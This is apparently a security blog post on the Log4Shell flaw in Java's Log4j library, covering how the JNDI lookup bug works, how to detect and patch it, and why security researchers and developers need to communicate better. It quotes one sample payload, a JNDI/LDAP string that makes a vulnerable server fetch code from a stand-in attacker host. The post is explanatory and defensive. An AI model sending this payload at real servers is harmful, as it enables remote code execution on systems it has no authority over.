What can we learn from Log4shell?

We can all agree that 2021 was not a good year in general. To end the year we got an early Christmas present, a new critical vulnerability (CVSS 10.0) called “Log4Shell”. It is one of the most critical and widely exploitable vulnerability we have seen in a while. It trivially allowed remote code execution on servers running the vulnerable version of Java’s Log4j library. 

How does the vulnerability work?

The Log4j library is widely used by millions of applications, as it is one of the most used logging libraries available for Java applications. The vulnerability targets the functionality of JNDI (Java Naming and Directory Interface) lookups. It is trivially exploited by providing an HTTP User-Agent to the vulnerable server running Log4j, for example, the following payload: 

  • ${jndi:ldap://attackerwebsite.com/resource

Log4j will parse this string and will reach out to the malicious host “attackerwebsite.com/resource” via JNDI. In return, it will connect to a secondary endpoint which will serve java code that can run on the victim’s server. 

How to know if your application is affected by it?

First of all, if you are running a Log4j version previous to 2.17.1, then, you are likely to be affected by it. Update to the latest version. If the affected software is controlled by a 3rd party/vendor make sure to contact them and ask them to update their app ASAP. 

Check if the applications in your organization are vulnerable. An easy way to test is to use a canary token that you will input into different areas of your app, which will notify you once it is activated. Follow the steps on this tweet by Thinkst Canary link

If you have access to the source code of the applications, you can use Semgrep to check for it. Run the following command:

  • semgrep –config s/chegg:log4j2_tainted_argument

What can we learn from it?

The security community already knew about how dangerous JNDI lookups were since 2017 from a talk at BlackHat. However, it still took 4 years for us to find the vulnerability in Log4j. One of the main failures of the security community is that we do not effectively communicate the security findings to developers. It is especially prevalent in the Open Source community. 

It is a mistake that both, the developer community and security community, are so disconnected. I, unfortunately, do not have the perfect answer to fix this disconnect. But what we can do as a security community is participate in talks/demos/resources during developer’s conferences. We need to improve our communications skills and show empathy towards the developers. Showing clearly and with not a condescending tone about the vulnerabilities we find will help a lot. 

We need to step up and participate in the Open Source community as well. Many open-source projects will appreciate contributions with your security knowledge. Make sure to check the SECURITY.MD for the project’s policy for reporting security vulnerabilities. Also, check platforms like huntr.dev which will award some money to the researcher that finds vulnerabilities in open source software and to the person that fixes them.

Resources:

  • https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
  • https://tryhackme.com/room/solar
  • https://r2c.dev/blog/2021/understanding-log4j-and-log4shell/
  • https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
  • https://twitter.com/ThinkstCanary/status/1469439743905697797?t=4NFGkNtLwAA9mQ72psAXPA&s=19